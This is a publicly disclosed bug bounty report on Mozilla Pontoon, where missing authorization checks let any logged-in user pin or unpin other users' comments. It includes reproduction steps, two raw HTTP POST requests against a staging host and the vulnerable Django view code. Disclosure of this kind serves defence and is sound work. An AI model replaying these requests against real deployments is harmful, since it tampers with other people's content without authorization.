HexBrain

Mozilla · Report #3025797

[Privilege Escalation] User can Pin|Unpin Any Comment on Any Project or Locale

Validstatus
lowseverity
59upvotes
20 Mar 2026disclosed

How it was found

Hi, team. There is a feature to Pin and Unpin comments of translations or entities, but this functionality is only available for privileged users (i.e., Project Manager). Upon checking the backend code for this functionality, I realized that any user can Pin|Unpin any comment on any translation or entity because there are no checks.

Steps To Reproduce:

  • Go to https://mozilla-pontoon-staging.herokuapp.com/ and Login to your account.

  • Click on teams and select any language.

███

  • Now, from the next window, select any project.

██████████

  • Then select any Resource from the next menu.

█████████

  • After that, you will see a list of strings to be translated.

█████

  • On the Right side, you will see a comments section.

████████

  • Now prepare your proxy to capture requests and post some comments.

  • You can check that there is no option to Pin or Unpin comment because Frontend Code is checking for user permissions and Based on that it shows button. Reference: https://github.com/mozilla/pontoon/blob/45a69293623e56973c9a4fd5eb8b6618aca44813/translate/src/modules/comments/components/Comment.tsx#L81

 {canPin ? (
            comment.pinned ? (
              // Unpin Button
              <Localized
                id='comments-Comment--unpin-button'
                attrs={{ title: true }}
              >
                <button
                  className='pin-button'
                  title='Unpin comment'
                  onClick={handlePinAndUnpin}
                >
                  {'UNPIN'}
                </button>
              </Localized>
            ) : (
              // Pin Button
              <Localized
                id='comments-Comment--pin-button'
                attrs={{ title: true }}
              >
                <button
                  className='pin-button'
                  title='Pin comment'
                  onClick={handlePinAndUnpin}
                >
                  {'PIN'}
                </button>
              </Localized>
            )
          ) : null}
  • In proxy history, you will see a request to the/get-team-comments/ endpoint. Like this one.

███████

  • In response to this request, you will see all comments with their IDs.

██████████

  • Copy any one Comment ID.

  • Now, grab your Session Cookies, Anti-CSRF token, Comment ID and replace them in this request.

POST /pin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ████████
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: OrGrBPrSXQFhmjmmUJ4lgPKJc9WV0UOOvddMLDXgWzuFVDEaYBu0UYa4Usa4yZXn
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

comment_id=25725
  • Send the request, and you will see a 200 OK response.

  • In the browser, reload the page and check that your comment has been successfully pinned.

█████

  • Now to unpin the comment, use this request.
POST /unpin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: ███
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: OrGrBPrSXQFhmjmmUJ4lgPKJc9WV0UOOvddMLDXgWzuFVDEaYBu0UYa4Usa4yZXn
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

comment_id=25725
  • Now, comment from your other account on any project or translation and replace that comment ID in these requests to Pin or Unpin.

  • This way, a user can Pin|Unpin any user's comment on any project.

Supporting Material/References:

  • This is the vulnerable code.

Link: https://github.com/mozilla/pontoon/blob/main/pontoon/base/views.py#L685-L715

@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def pin_comment(request):
    """Update a comment as pinned"""
    comment_id = request.POST.get("comment_id", None)
    if not comment_id:
        return JsonResponse({"status": False, "message": "Bad Request"}, status=400)

    comment = get_object_or_404(Comment, id=comment_id)

    comment.pinned = True
    comment.save()

    _send_pin_comment_notifications(request.user, comment)

    return JsonResponse({"status": True})


@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def unpin_comment(request):
    """Update a comment as unpinned"""
    comment_id = request.POST.get("comment_id", None)
    if not comment_id:
        return JsonResponse({"status": False, "message": "Bad Request"}, status=400)

    comment = get_object_or_404(Comment, id=comment_id)

    comment.pinned = False
    comment.save()

    return JsonResponse({"status": True})

Impact

A user can perform actions that he is not intended to do.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original